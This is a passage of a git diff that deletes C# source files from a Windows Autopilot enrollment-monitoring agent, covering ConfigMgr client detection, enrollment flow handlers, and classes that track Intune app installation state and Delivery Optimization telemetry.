_stateData.IsHybridJoin = _isHybridJoin; - _stateDirty = true; - } - - // Snapshot values under lock for trace events (emitted outside lock) - bool isDeviceOnly, isSelfDeploying, aadJoinedWithUser; - int? autopilotMode; - bool? skipUserStatusPage; - string enrollmentType; - lock (_stateLock) - { - isDeviceOnly = IsDeviceOnlyDeployment; - isSelfDeploying = IsSelfDeploying; - aadJoinedWithUser = _aadJoinedWithUser; - autopilotMode = _autopilotMode; - skipUserStatusPage = _skipUserStatusPage; - enrollmentType = _enrollmentType; - } - - _logger.Info($"EnrollmentTracker: enrollment type detected: {enrollmentType ?? "unknown"} " + - $"(autopilotMode={autopilotMode}, skipUserStatusPage={skipUserStatusPage}, skipDeviceStatusPage={result.skipDeviceStatusPage}, aadJoinedWithUser={aadJoinedWithUser})"); - - // Emit trace when AAD join with user is detected and reclassifies away from device-only - if (aadJoinedWithUser && wasDeviceOnly && !isDeviceOnly) - { - EmitTraceEvent("user_session_detected_via_aad_join", - "AAD join with user detected — user session active, using standard completion paths", - new Dictionary - { - { "autopilotMode", autopilotMode }, - { "skipUserStatusPage", skipUserStatusPage }, - { "aadJoinedWithUser", true }, - { "isDeviceOnlyDeployment", false } - }); - } - - if (isDeviceOnly) - { - var reason = isSelfDeploying - ? "AutopilotMode=1 (Self-Deploying)" - : $"SkipUserStatusPage=true (autopilotMode={autopilotMode})"; - EmitTraceEvent("device_only_deployment_detected", - $"{reason} — Hello guard will be bypassed, provisioning status used as completion signal", - new Dictionary - { - { "autopilotMode", autopilotMode }, - { "skipUserStatusPage", skipUserStatusPage }, - { "enrollmentType", enrollmentType }, - { "aadJoinedWithUser", aadJoinedWithUser }, - { "isSelfDeploying", isSelfDeploying }, - { "isDeviceOnlyDeployment", true } - }); - } - - // Mark device info as collected and re-evaluate any deferred completion signal - _deviceInfoCollected = true; - - string pendingSource; - lock (_stateLock) { pendingSource = _pendingCompletionSource; _pendingCompletionSource = null; } - if (pendingSource != null) - { - _logger.Info($"EnrollmentTracker: re-evaluating deferred completion signal '{pendingSource}' now that device info is available " + - $"(isDeviceOnly={isDeviceOnly}, autopilotMode={autopilotMode}, skipUserStatusPage={skipUserStatusPage})"); - if (pendingSource == "device_setup_provisioning_complete") - OnDeviceSetupProvisioningComplete(this, EventArgs.Empty); - else - TryEmitEnrollmentComplete(pendingSource); - } - - // Shadow state machine: track device info collected - ShadowProcessTrigger("device_info_collected"); - } - - /// - /// Collects device info that may change during enrollment (e.g., BitLocker enabled via policy). - /// Called at enrollment complete to capture final state. - /// - private void CollectDeviceInfoAtEnd() - => _deviceInfoCollector.CollectAtEnd(); - - /// - /// Checks for ConfigMgr (SCCM) co-management client presence on the device. - /// Fire-once: emits configmgr_client_detected event on first detection only. - /// Called at startup, DeviceSetup, and AccountSetup — always via Task.Run to avoid blocking. - /// - private void CheckConfigMgrClient(string trigger) - { - if (_configMgrDetected) return; - - try - { - bool registryFound = false; - bool directoryFound = false; - string ccmVersion = null; - string siteCode = null; - string serviceState = "not_found"; - - // 1. Registry: HKLM\SOFTWARE\Microsoft\CCM - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\CCM")) - { - if (key != null) - registryFound = true; - } - - // Version from CCMSetup - using (var setupKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\CCMSetup")) - ccmVersion = setupKey?.GetValue("LastValidVersion")?.ToString(); - - // SiteCode from SMS Mobile Client - using (var smsKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\SMS\Mobile Client")) - siteCode = smsKey?.GetValue("AssignedSiteCode")?.ToString(); - - // 2. Directory: C:\Windows\CCM - directoryFound = Directory.Exists(@"C:\Windows\CCM"); - - // 3. Service: CcmExec (via ServiceController, native .NET Framework 4.8) - try - { - using (var sc = new System.ServiceProcess.ServiceController("CcmExec")) - serviceState = sc.Status.ToString(); - } - catch (InvalidOperationException) { } // service not installed - - // Compute confidence score — directory alone is too weak (could be remnant) - int confidence = 0; - if (directoryFound) confidence += 10; - if (registryFound) confidence += 20; - if (ccmVersion != null) confidence += 15; - if (siteCode != null) confidence += 15; - if (serviceState != "not_found") confidence += 20; - if (serviceState == "Running") confidence += 20; - - // Nothing found — no event - if (confidence == 0) - return; - - _configMgrDetected = true; - - var versionSuffix = ccmVersion != null ? $" (v{ccmVersion})" : ""; - var siteSuffix = siteCode != null ? $", site {siteCode}" : ""; - var confidenceLabel = confidence >= 50 ? "high" : "low"; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "configmgr_client_detected", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = EnrollmentPhase.Unknown, - Message = $"ConfigMgr (SCCM) client detected ({confidenceLabel} confidence: {confidence}/100) — co-managed device{versionSuffix}{siteSuffix}", - Data = new Dictionary - { - { "ccmRegistryFound", registryFound }, - { "ccmDirectoryFound", directoryFound }, - { "ccmServiceState", serviceState }, - { "ccmVersion", ccmVersion ?? "unknown" }, - { "siteCode", siteCode ?? "unknown" }, - { "confidenceScore", confidence }, - { "detectedAt", trigger } - } - }); - - _logger.Info($"ConfigMgr client detected (trigger={trigger}, confidence={confidence}, service={serviceState}, version={ccmVersion ?? "?"})"); - } - catch (Exception ex) - { - _logger.Debug($"EnrollmentTracker: ConfigMgr check failed: {ex.Message}"); - } - } - - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/ClassicAutopilotFlow.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/ClassicAutopilotFlow.cs deleted file mode 100644 index 09250b50..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/ClassicAutopilotFlow.cs +++ /dev/null @@ -1,11 +0,0 @@ -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows -{ - public sealed class ClassicAutopilotFlow : IEnrollmentFlowHandler - { - public EnrollmentType SupportedType => EnrollmentType.Classic; - public bool TracksEspPhases => true; - public bool AppliesEspGateOnDesktopArrival => true; - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/DevicePreparationFlow.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/DevicePreparationFlow.cs deleted file mode 100644 index 5c27d541..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/DevicePreparationFlow.cs +++ /dev/null @@ -1,11 +0,0 @@ -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows -{ - public sealed class DevicePreparationFlow : IEnrollmentFlowHandler - { - public EnrollmentType SupportedType => EnrollmentType.DevicePreparation; - public bool TracksEspPhases => false; - public bool AppliesEspGateOnDesktopArrival => false; - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/EnrollmentFlowFactory.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/EnrollmentFlowFactory.cs deleted file mode 100644 index 81cfaa6a..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/EnrollmentFlowFactory.cs +++ /dev/null @@ -1,21 +0,0 @@ -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows -{ - public static class EnrollmentFlowFactory - { - /// - /// Returns the flow handler for the given enrollment type. - /// falls back to the Classic flow - /// (safe default — Classic is the long-standing behavior). - /// - public static IEnrollmentFlowHandler Create(EnrollmentType type) => type switch - { - EnrollmentType.DevicePreparation => new DevicePreparationFlow(), - _ => new ClassicAutopilotFlow() - }; - - public static IEnrollmentFlowHandler FromWireFormat(string wireFormat) - => Create(EnrollmentTypeExtensions.FromWireFormat(wireFormat)); - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/IEnrollmentFlowHandler.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/IEnrollmentFlowHandler.cs deleted file mode 100644 index b974bf5f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Flows/IEnrollmentFlowHandler.cs +++ /dev/null @@ -1,30 +0,0 @@ -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows -{ - /// - /// Encapsulates the policy decisions that differ between the Classic Autopilot (v1) - /// flow and the Windows Autopilot Device Preparation (v2) flow. - /// - /// Today the flow handler only owns policy bits; tracker ownership remains in - /// CollectorCoordinator. When DevPrep-specific trackers land, they will - /// move into the corresponding flow handler. - /// - public interface IEnrollmentFlowHandler - { - EnrollmentType SupportedType { get; } - - /// - /// True when the flow relies on ESP-phase signals for progress and completion. - /// Classic: true. DevPrep (WDP): false (no ESP exists). - /// - bool TracksEspPhases { get; } - - /// - /// True when completion triggered by desktop-arrival / desktop-hello must be - /// blocked while ESP has been observed but has not reached its final exit. - /// Classic: true (AccountSetup may still be running). DevPrep: false. - /// - bool AppliesEspGateOnDesktopArrival { get; } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageState.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageState.cs deleted file mode 100644 index 5f476677..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageState.cs +++ /dev/null @@ -1,548 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Installation state of an app package during enrollment. - /// Order matters: states are compared numerically for upgrade-only transitions. - /// - public enum AppInstallationState - { - Unknown = 0, - NotInstalled = 1, - InProgress = 2, - Downloading = 3, - Installing = 4, - Installed = 5, - Skipped = 6, - Postponed = 7, - Error = 8 - } - - /// - /// How the app should run - /// - public enum AppRunAs - { - Unknown = -1, - User = 0, - System = 1 - } - - /// - /// App install intent from Intune policy - /// - public enum AppIntent - { - Unknown = -1, - NotTargeted = 0, - Available = 1, - Install = 3, - Uninstall = 4 - } - - /// - /// How the app is targeted - /// - [Flags] - public enum AppTargeted - { - Unknown = 128, - Dependency = 0, - User = 1, - Device = 2 - } - - /// - /// Win32 app state values from IME - /// - public enum Win32AppState - { - Unknown = 0, - NotInstalled = 1, - InProgress = 2, - Completed = 3, - Error = 4 - } - - /// - /// Represents the state of a single app package during enrollment. - /// Adapted from EspOverlay PackageState with state transition protection. - /// - public class AppPackageState : IComparable - { - public static bool SortErrorsToTop = false; - - public string Id { get; } - public int ListPos { get; } - public string Name { get; private set; } - public AppRunAs RunAs { get; private set; } = AppRunAs.Unknown; - public AppIntent Intent { get; private set; } = AppIntent.Unknown; - public AppTargeted Targeted { get; private set; } = AppTargeted.Unknown; - public HashSet DependsOn { get; private set; } = new HashSet(); - public AppInstallationState InstallationState { get; private set; } = AppInstallationState.Unknown; - public long InstallationStateLastChangedTicks { get; private set; } = 0; - public bool DownloadingOrInstallingSeen { get; private set; } = false; - public int? ProgressPercent { get; private set; } = null; - public long BytesDownloaded { get; private set; } = 0; - public long BytesTotal { get; private set; } = 0; - public string ErrorPatternId { get; private set; } - public string ErrorDetail { get; private set; } - public string ErrorCode { get; private set; } - - // Installer result codes (captured from lpExitCode / hResultFromWin32 log lines) - public string ExitCode { get; private set; } - public string HResultFromWin32 { get; private set; } - - // App metadata (captured from IME log patterns — used by App Dashboard / reports) - /// Product version detected after install (e.g. "11.2.1787.0"). From ReportingManager DetectedIdentityVersion. - public string AppVersion { get; private set; } - /// App installer type: "Win32", "MSI", "WinGet", "Store", "LOB". Derived from [WinGetApp]/MSI markers. - public string AppType { get; private set; } - /// Install attempt number (1 = first try). Increments on each "Execute retry N" line per check-in cycle. - public int AttemptNumber { get; private set; } - /// Detection rule result: "Detected" or "NotDetected". From DetectionActionHandler log lines. - public string DetectionResult { get; private set; } - - // Delivery Optimization telemetry (populated from [DO TEL] log entries) - public long DoFileSize { get; private set; } - public long DoTotalBytesDownloaded { get; private set; } - public long DoBytesFromPeers { get; private set; } - public int DoPercentPeerCaching { get; private set; } - public long DoBytesFromLanPeers { get; private set; } - public long DoBytesFromGroupPeers { get; private set; } - public long DoBytesFromInternetPeers { get; private set; } - public int DoDownloadMode { get; private set; } = -1; - public string DoDownloadDuration { get; private set; } - public long DoBytesFromHttp { get; private set; } - public bool HasDoTelemetry { get; private set; } - - private static readonly Dictionary Win32StateMap = - new Dictionary - { - { Win32AppState.Unknown, AppInstallationState.Unknown }, - { Win32AppState.InProgress, AppInstallationState.InProgress }, - { Win32AppState.Completed, AppInstallationState.Installed }, - { Win32AppState.Error, AppInstallationState.Error } - }; - - private static readonly Dictionary SortOrderOverrides = - new Dictionary - { - { AppInstallationState.Skipped, (int)AppInstallationState.Installed }, - { AppInstallationState.Postponed, (int)AppInstallationState.Installed }, - { AppInstallationState.Error, (int)AppInstallationState.Installed } - }; - - public AppPackageState(string id, int listPos) - { - Id = id; - ListPos = listPos; - } - - /// - /// Restores an AppPackageState from persisted data (used on agent restart). - /// - internal static AppPackageState Restore( - string id, int listPos, string name, - AppRunAs runAs, AppIntent intent, AppTargeted targeted, - HashSet dependsOn, - AppInstallationState installationState, bool downloadingOrInstallingSeen, - int? progressPercent, long bytesDownloaded, long bytesTotal, - string errorPatternId = null, string errorDetail = null, string errorCode = null, - string exitCode = null, string hresultFromWin32 = null, - long doFileSize = 0, long doTotalBytesDownloaded = 0, - long doBytesFromPeers = 0, int doPercentPeerCaching = 0, - long doBytesFromLanPeers = 0, long doBytesFromGroupPeers = 0, - long doBytesFromInternetPeers = 0, int doDownloadMode = -1, - string doDownloadDuration = null, long doBytesFromHttp = 0, - bool hasDoTelemetry = false, - string appVersion = null, string appType = null, - int attemptNumber = 0, string detectionResult = null) - { - var pkg = new AppPackageState(id, listPos) - { - Name = name, - RunAs = runAs, - Intent = intent, - Targeted = targeted, - DependsOn = dependsOn ?? new HashSet(), - InstallationState = installationState, - DownloadingOrInstallingSeen = downloadingOrInstallingSeen, - ProgressPercent = progressPercent, - BytesDownloaded = bytesDownloaded, - BytesTotal = bytesTotal, - ErrorPatternId = errorPatternId, - ErrorDetail = errorDetail, - ErrorCode = errorCode, - ExitCode = exitCode, - HResultFromWin32 = hresultFromWin32, - InstallationStateLastChangedTicks = Stopwatch.GetTimestamp(), - DoFileSize = doFileSize, - DoTotalBytesDownloaded = doTotalBytesDownloaded, - DoBytesFromPeers = doBytesFromPeers, - DoPercentPeerCaching = doPercentPeerCaching, - DoBytesFromLanPeers = doBytesFromLanPeers, - DoBytesFromGroupPeers = doBytesFromGroupPeers, - DoBytesFromInternetPeers = doBytesFromInternetPeers, - DoDownloadMode = doDownloadMode, - DoDownloadDuration = doDownloadDuration, - DoBytesFromHttp = doBytesFromHttp, - HasDoTelemetry = hasDoTelemetry, - AppVersion = appVersion, - AppType = appType, - AttemptNumber = attemptNumber, - DetectionResult = detectionResult - }; - return pkg; - } - - /// - /// Updates the app name. Only updates if the new name is not a truncated version of the current name. - /// - public bool UpdateName(string newName) - { - if (string.IsNullOrEmpty(newName) || string.Equals(Name, newName)) - return false; - - // Avoid overwriting with a truncated version - if (Name != null && newName.Length > 0 && Name.StartsWith(newName)) - return false; - - Name = newName; - return true; - } - - /// - /// Updates RunAs property - /// - public bool UpdateRunAs(AppRunAs newRunAs) - { - if (RunAs == newRunAs) return false; - RunAs = newRunAs; - return true; - } - - /// - /// Updates Intent property - /// - public bool UpdateIntent(AppIntent newIntent) - { - if (Intent == newIntent) return false; - Intent = newIntent; - return true; - } - - /// - /// Updates Targeted property - /// - public bool UpdateTargeted(AppTargeted newTargeted) - { - if (Targeted == newTargeted) return false; - Targeted = newTargeted; - return true; - } - - /// - /// Updates DependsOn set - /// - public bool UpdateDependsOn(HashSet newDependsOn) - { - if (newDependsOn == null) newDependsOn = new HashSet(); - if (DependsOn.SetEquals(newDependsOn)) return false; - DependsOn = newDependsOn; - return true; - } - - /// - /// Sets the error context for the app (called when an error pattern is matched). - /// - public void SetErrorContext(string patternId, string detail, string errorCode = null) - { - ErrorPatternId = patternId; - ErrorDetail = detail; - if (!string.IsNullOrEmpty(errorCode)) - ErrorCode = errorCode; - } - - /// - /// Captures the installer exit code (lpExitCode) for the app. - /// - public void UpdateExitCode(string code) - { - ExitCode = code; - } - - /// - /// Captures the Win32 HRESULT (hResultFromWin32) for the app. - /// - public void UpdateHResult(string code) - { - HResultFromWin32 = code; - } - - /// - /// Updates the product version detected for this app (e.g. "11.2.1787.0"). - /// Only applies non-empty values so a later detection without version cannot wipe it. - /// - public bool UpdateAppVersion(string version) - { - if (string.IsNullOrWhiteSpace(version)) return false; - if (AppVersion == version) return false; - AppVersion = version.Trim(); - return true; - } - - /// - /// Updates the app installer type. Only sets when current is empty OR - /// when the incoming value is more specific than the existing one - /// (e.g. "WinGet"/"MSI" override the "Win32" default). - /// - public bool UpdateAppType(string type) - { - if (string.IsNullOrWhiteSpace(type)) return false; - if (AppType == type) return false; - // Do not let a generic "Win32" downgrade a previously determined "WinGet"/"MSI". - if (!string.IsNullOrEmpty(AppType) && type == "Win32" - && (AppType == "WinGet" || AppType == "MSI" || AppType == "Store" || AppType == "LOB")) - return false; - AppType = type; - return true; - } - - /// - /// Updates the install attempt number. Keeps the highest observed value - /// so it is monotonic across log batches. - /// - public bool UpdateAttemptNumber(int attempt) - { - if (attempt <= AttemptNumber) return false; - AttemptNumber = attempt; - return true; - } - - /// - /// Updates the detection rule result ("Detected" / "NotDetected"). - /// Applies any non-empty value so the latest detection wins. - /// - public bool UpdateDetectionResult(string result) - { - if (string.IsNullOrWhiteSpace(result)) return false; - if (DetectionResult == result) return false; - DetectionResult = result.Trim(); - return true; - } - - /// - /// Updates Delivery Optimization telemetry data for this app package. - /// Called when a [DO TEL] log entry is matched and linked to this app. - /// - public void UpdateDoTelemetry(long fileSize, long totalBytesDownloaded, - long bytesFromPeers, int percentPeerCaching, - long bytesFromLanPeers, long bytesFromGroupPeers, long bytesFromInternetPeers, - int downloadMode, string downloadDuration, long bytesFromHttp) - { - DoFileSize = fileSize; - DoTotalBytesDownloaded = totalBytesDownloaded; - DoBytesFromPeers = bytesFromPeers; - DoPercentPeerCaching = percentPeerCaching; - DoBytesFromLanPeers = bytesFromLanPeers; - DoBytesFromGroupPeers = bytesFromGroupPeers; - DoBytesFromInternetPeers = bytesFromInternetPeers; - DoDownloadMode = downloadMode; - DoDownloadDuration = downloadDuration; - DoBytesFromHttp = bytesFromHttp; - HasDoTelemetry = true; - } - - /// - /// Updates the installation state with transition protection. - /// Returns true if the state actually changed. - /// - public bool UpdateState(AppInstallationState newState, int? newProgressPercent = null, bool upgradeOnly = false, long bytesDownloaded = 0, long bytesTotal = 0) - { - // upgradeOnly: only allow "higher" states (used by Win32AppState mapping) - if (upgradeOnly && newState < InstallationState) - return false; - - // Cannot downgrade from Installed to Skipped or Postponed - if (InstallationState == AppInstallationState.Installed && - (newState == AppInstallationState.Skipped || newState == AppInstallationState.Postponed)) - return false; - - // Postponed cannot go back to Downloading or lower active states - if (InstallationState == AppInstallationState.Postponed && newState <= AppInstallationState.Downloading) - return false; - - // If "Installed" without ever seeing download/install -> auto-downgrade to Skipped - // This handles apps with "inverse" detection rules (e.g., uninstall packages marked as - // installed when old software is NOT detected) - if (newState == AppInstallationState.Installed && !DownloadingOrInstallingSeen) - newState = AppInstallationState.Skipped; - - // Compute the effective progress percent that will be applied - var effectiveProgressPercent = (newState == AppInstallationState.Installed && newProgressPercent == null) ? 100 : newProgressPercent; - // Compute effective bytes: only consider new values if non-zero, otherwise keep current - var effectiveBytesDownloaded = (bytesDownloaded > 0 || bytesTotal > 0) ? bytesDownloaded : BytesDownloaded; - var effectiveBytesTotal = (bytesDownloaded > 0 || bytesTotal > 0) ? bytesTotal : BytesTotal; - // After WinGet completion fix: if Installed and total > 0 and downloaded < total, downloaded becomes total - if (newState == AppInstallationState.Installed && effectiveBytesTotal > 0 && effectiveBytesDownloaded < effectiveBytesTotal) - effectiveBytesDownloaded = effectiveBytesTotal; - - // Skip if no actual change - if (newState == InstallationState && effectiveProgressPercent == ProgressPercent && effectiveBytesDownloaded == BytesDownloaded && effectiveBytesTotal == BytesTotal) - return false; - - var oldState = InstallationState; - InstallationState = newState; - InstallationStateLastChangedTicks = Stopwatch.GetTimestamp(); - DownloadingOrInstallingSeen |= (InstallationState >= AppInstallationState.Downloading && - InstallationState <= AppInstallationState.Installing); - ProgressPercent = effectiveProgressPercent; - BytesDownloaded = effectiveBytesDownloaded; - BytesTotal = effectiveBytesTotal; - - return true; - } - - /// - /// Updates state from a Win32AppState string or integer string (e.g., "2" or "InProgress"). - /// Uses upgrade-only mode to prevent "InProgress" from destroying more detailed states. - /// - public bool UpdateStateFromWin32AppState(string win32AppStateStringOrIntString) - { - Win32AppState win32State; - if (Enum.TryParse(win32AppStateStringOrIntString, true, out win32State)) - return UpdateStateFromWin32AppState(win32State); - return false; - } - - /// - /// Updates state from Win32AppState enum value. - /// - public bool UpdateStateFromWin32AppState(Win32AppState win32State) - { - AppInstallationState newState; - if (Win32StateMap.TryGetValue(win32State, out newState)) - return UpdateState(newState, upgradeOnly: true); - return false; - } - - /// - /// Whether this app requires installation (Install or Uninstall intent) - /// - public bool IsRequired => Intent == AppIntent.Install || Intent == AppIntent.Uninstall; - - /// - /// Whether the app is currently being processed (InProgress, Downloading, or Installing) - /// - public bool IsActive => InstallationState >= AppInstallationState.InProgress && - InstallationState <= AppInstallationState.Installing; - - /// - /// Whether the app has reached a terminal state (Installed, Skipped, Postponed, Error) - /// - public bool IsCompleted => InstallationState >= AppInstallationState.Installed; - - /// - /// Whether the app is in an error state - /// - public bool IsError => InstallationState == AppInstallationState.Error; - - /// - /// Comparison for sorting: active apps first, then by state change time, then by list position. - /// - public int CompareTo(AppPackageState other) - { - // First: descending on sort order (active apps at top) - var result = -(SortOrder.CompareTo(other.SortOrder)); - if (result == 0) - { - // Then: by installation state last changed - result = InstallationStateLastChangedTicks.CompareTo(other.InstallationStateLastChangedTicks); - } - if (result == 0) - { - // Then: by original position in policy list - result = ListPos.CompareTo(other.ListPos); - } - return result; - } - - private int SortOrder - { - get - { - if (SortErrorsToTop && InstallationState == AppInstallationState.Error) - return -1; - - int sortOrder; - if (SortOrderOverrides.TryGetValue(InstallationState, out sortOrder)) - return sortOrder; - - return (int)InstallationState; - } - } - - /// - /// Returns a summary dictionary for event data - /// - public Dictionary ToEventData() - { - var data = new Dictionary - { - { "appId", Id }, - { "appName", Name ?? Id }, - { "state", InstallationState.ToString() }, - { "intent", Intent.ToString() }, - { "targeted", Targeted.ToString() }, - { "runAs", RunAs.ToString() }, - { "progressPercent", ProgressPercent ?? 0 }, - { "bytesDownloaded", BytesDownloaded }, - { "bytesTotal", BytesTotal }, - { "isError", IsError }, - { "isCompleted", IsCompleted } - }; - - if (!string.IsNullOrEmpty(ErrorPatternId)) - data["errorPatternId"] = ErrorPatternId; - if (!string.IsNullOrEmpty(ErrorDetail)) - data["errorDetail"] = ErrorDetail; - if (!string.IsNullOrEmpty(ErrorCode)) - data["errorCode"] = ErrorCode; - - if (!string.IsNullOrEmpty(ExitCode)) - data["exitCode"] = ExitCode; - if (!string.IsNullOrEmpty(HResultFromWin32)) - data["hresultFromWin32"] = HResultFromWin32; - - // App metadata fields (emitted whenever available so ingest can merge them). - if (!string.IsNullOrEmpty(AppVersion)) - data["appVersion"] = AppVersion; - if (!string.IsNullOrEmpty(AppType)) - data["appType"] = AppType; - if (AttemptNumber > 0) - data["attemptNumber"] = AttemptNumber; - if (!string.IsNullOrEmpty(DetectionResult)) - data["detectionResult"] = DetectionResult; - - if (HasDoTelemetry) - { - data["doFileSize"] = DoFileSize; - data["doTotalBytesDownloaded"] = DoTotalBytesDownloaded; - data["doBytesFromPeers"] = DoBytesFromPeers; - data["doPercentPeerCaching"] = DoPercentPeerCaching; - data["doBytesFromLanPeers"] = DoBytesFromLanPeers; - data["doBytesFromGroupPeers"] = DoBytesFromGroupPeers; - data["doBytesFromInternetPeers"] = DoBytesFromInternetPeers; - data["doDownloadMode"] = DoDownloadMode; - data["doDownloadDuration"] = DoDownloadDuration ?? ""; - data["doBytesFromHttp"] = DoBytesFromHttp; - } - - return data; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageStateList.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageStateList.cs deleted file mode 100644 index 73c38957..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/AppPackageStateList.cs +++ /dev/null @@ -1,432 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Manages a collection of app package states during enrollment. - /// Tracks current app, ignore list, and dependency cascading. - /// Adapted from EspOverlay PackageStatesList. - /// - public class AppPackageStateList : List - { - /// - /// The ID of the app currently being processed by IME - /// - public string CurrentPackageId { get; set; } - - /// - /// Apps to ignore (e.g., user-targeted apps during device phase). - /// Case-insensitive because GUIDs may appear in different casing across IME log entries and policy JSON. - /// - public HashSet IgnoreList { get; } = new HashSet(StringComparer.OrdinalIgnoreCase); - - private readonly AgentLogger _logger; - - // States that should also cascade to dependents - private static readonly HashSet StatesToCascade = - new HashSet - { - AppInstallationState.Postponed, - AppInstallationState.Error - }; - - public AppPackageStateList(AgentLogger logger) - { - _logger = logger; - } - - /// - /// Gets a package by ID, optionally creating it if not found. - /// Returns null if the ID is in the ignore list. - /// - public AppPackageState GetPackage(string id, bool createIfNotFound = false) - { - if (string.IsNullOrEmpty(id) || IgnoreList.Contains(id)) - return null; - - var result = this.SingleOrDefault(x => string.Equals(x.Id, id, StringComparison.OrdinalIgnoreCase)); - if (result == null && createIfNotFound) - { - result = new AppPackageState(id, Count); - Add(result); - } - return result; - } - - /// - /// Adds/updates packages from a JSON policy list (from IME "Get policies" log line). - /// Returns true if any package was updated. - /// - public bool AddUpdateFromJsonPolicies(List> jsonPolicies, bool ignoreUserTargeted) - { - if (jsonPolicies == null) return false; - - var updated = false; - foreach (var policy in jsonPolicies) - { - string id; - object idObj; - if (!policy.TryGetValue("Id", out idObj) || (id = idObj?.ToString()) == null) - continue; - - // Check RunAs - ignore user-targeted during device phase - if (ignoreUserTargeted) - { - var runAs = GetRunAsFromPolicy(policy); - if (runAs == AppRunAs.User) - { - updated |= AddToIgnoreList(id); - continue; - } - } - - var pkg = GetPackage(id, createIfNotFound: true); - if (pkg == null) continue; - - // Update name - object nameObj; - if (policy.TryGetValue("Name", out nameObj)) - updated |= pkg.UpdateName(nameObj?.ToString()); - - // Update intent - object intentObj; - if (policy.TryGetValue("Intent", out intentObj)) - { - AppIntent intent; - if (Enum.TryParse(intentObj.ToString(), true, out intent)) - updated |= pkg.UpdateIntent(intent); - } - - // Update targeted - object targetObj; - if (policy.TryGetValue("TargetType", out targetObj)) - { - AppTargeted targeted; - if (Enum.TryParse(targetObj.ToString(), true, out targeted)) - updated |= pkg.UpdateTargeted(targeted); - } - - // Update RunAs from InstallEx - object installExObj; - if (policy.TryGetValue("InstallEx", out installExObj)) - { - var runAs = ExtractRunAsFromInstallEx(installExObj); - if (runAs != AppRunAs.Unknown) - updated |= pkg.UpdateRunAs(runAs); - } - - // Update dependencies from FlatDependencies - object flatDepsObj; - if (policy.TryGetValue("FlatDependencies", out flatDepsObj)) - { - var deps = ExtractDependencies(flatDepsObj, id); - if (deps != null) - updated |= pkg.UpdateDependsOn(deps); - } - } - - if (updated) - { - Sort(); - LogStates(); - } - - return updated; - } - - /// - /// Updates the name of a specific package - /// - public bool UpdateName(string id, string newName) - { - var pkg = GetPackage(id); - if (pkg == null) return false; - var updated = pkg.UpdateName(newName); - if (updated) LogStates(); - return updated; - } - - /// - /// Updates the installation state of a specific package. - /// Returns true if state actually changed. - /// Optionally cascades to dependent packages for error/postpone states. - /// - public bool UpdateState(string id, AppInstallationState newState, int? progressPercent = null) - { - var packageIds = new HashSet { id }; - - // Cascade error/postpone to dependents - if (StatesToCascade.Contains(newState)) - packageIds.UnionWith(GetDependentIdsDeep(id)); - - var packages = packageIds.Select(x => GetPackage(x)).Where(x => x != null).ToList(); - - var result = false; - foreach (var pkg in packages) - result |= pkg.UpdateState(newState, progressPercent); - - if (result) - { - AppPackageState.SortErrorsToTop = IsAllCompleted(); - Sort(); - } - - return result; - } - - /// - /// Updates state to Downloading with optional progress tracking - /// - public bool UpdateStateToDownloading(string id, string bytesDownloadedStr, string totalBytesStr) - { - int? progressPercent = null; - long bytesDownloaded = 0; - long bytesTotal = 0; - - try - { - bytesDownloaded = Convert.ToInt64(bytesDownloadedStr); - bytesTotal = Convert.ToInt64(totalBytesStr); - if (bytesTotal != 0) - progressPercent = (int)Math.Round((double)bytesDownloaded / bytesTotal * 100); - } - catch { } - - var pkg = GetPackage(id); - if (pkg != null && - pkg.InstallationState != AppInstallationState.Skipped && - pkg.InstallationState != AppInstallationState.Installed) - { - var result = pkg.UpdateState(AppInstallationState.Downloading, progressPercent, false, bytesDownloaded, bytesTotal); - if (result) - { - AppPackageState.SortErrorsToTop = IsAllCompleted(); - Sort(); - } - return result; - } - - return false; - } - - /// - /// Updates state from a Win32AppState string - /// - public bool UpdateStateFromWin32AppState(string id, string win32AppStateString) - { - var pkg = GetPackage(id); - if (pkg == null) return false; - var updated = pkg.UpdateStateFromWin32AppState(win32AppStateString); - if 